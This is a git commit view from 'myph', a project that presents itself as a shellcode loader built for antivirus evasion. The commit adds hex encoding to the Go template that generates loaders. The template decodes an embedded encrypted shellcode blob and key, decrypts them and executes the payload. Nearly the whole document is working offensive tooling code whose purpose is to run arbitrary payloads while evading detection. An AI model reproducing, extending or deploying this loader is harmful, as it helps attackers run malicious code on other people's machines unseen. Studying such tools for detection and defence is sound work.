myph.git


myph

~ shellcode loader for your evasion needs
git clone https://github.com/matro7sh/myph.git
log | files | refs | archive | README | LICENSE

commit 174266198d146b6b4898ed86ba4077dc400fe2fd
parent 6c5b3d9eceb3f9aaec06143dfb7dc5c02ac0512d
Author: winds0r <[email protected]>
Date: Wed, 19 Jul 2023 18:01:32 +0900

fix(tools): re-introducing support for `hex` template encoding

Diffstat:
Mtools/encodings.go | 9++++-----
Mtools/utils.go | 13++++++++++---

2 files changed, 14 insertions(+), 8 deletions(-)

diff --git a/tools/encodings.go b/tools/encodings.go
@@ -3,6 +3,7 @@ package tools
 import (
 	b32 "encoding/base32"
 	b64 "encoding/base64"
+	"encoding/hex"
 	"errors"
 	"fmt"
 	"math/rand"
@@ -20,7 +21,7 @@ const (
 )
 
 // / Available encodings type
-var Encodings = [2]string{"base64", "base32"}
+var Encodings = [3]string{"base64", "base32", "hex"}
 
 // String is used both by fmt.Print and by Cobra in help text
 func (e *BytesEncodingType) String() string {
@@ -30,11 +31,11 @@ func (e *BytesEncodingType) String() string {
 // / Set must have pointer receiver so it doesn't change the value of a copy
 func (e *BytesEncodingType) Set(v string) error {
 	switch v {
-	case "base64", "base32":
+	case "base64", "base32", "hex":
 		*e = BytesEncodingType(v)
 		return nil
 	default:
-		return errors.New(`must be one of "base64", "base32"`)
+		return errors.New(`unknown encoding type`)
 	}
 }
 
@@ -62,10 +63,8 @@ func EncodeForInterpolation(method BytesEncodingType, toEncode []byte) string {
 	case EncodingBase32:
 		return fmt.Sprintf("\"%s\"", b32.StdEncoding.EncodeToString(toEncode))
 
-    /*
 	case EncodingHex:
 		return fmt.Sprintf("\"%s\"", hex.EncodeToString(toEncode))
-    */
 
 	default:
 		return ""
diff --git a/tools/utils.go b/tools/utils.go
@@ -102,6 +102,13 @@ go 1.20
 }
 
 func GetMainTemplate(encoding string, key string, sc string) string {
+
+    /* if hex encoding is used, it does not require to go through StdEncoding */
+    encCall := "enc.StdEncoding"
+    if encoding == "hex" {
+        encCall = "enc"
+    }
+
 	return fmt.Sprintf(`
 package main
 
@@ -115,8 +122,8 @@ var Code = %s
 
 func main() {
 
-    decodedSc, _ := enc.StdEncoding.DecodeString(Code)
-    decodedKey, _ := enc.StdEncoding.DecodeString(Key)
+    decodedSc, _ := %s.DecodeString(Code)
+    decodedKey, _ := %s.DecodeString(Key)
 
     decrypted, err := Decrypt(decodedSc, decodedKey)
     if err != nil {
@@ -125,5 +132,5 @@ func main() {
 
     ExecuteOrderSixtySix(decrypted)
 }
-    `, encoding, key, sc)
+    `, encoding, key, sc, encCall, encCall)
 }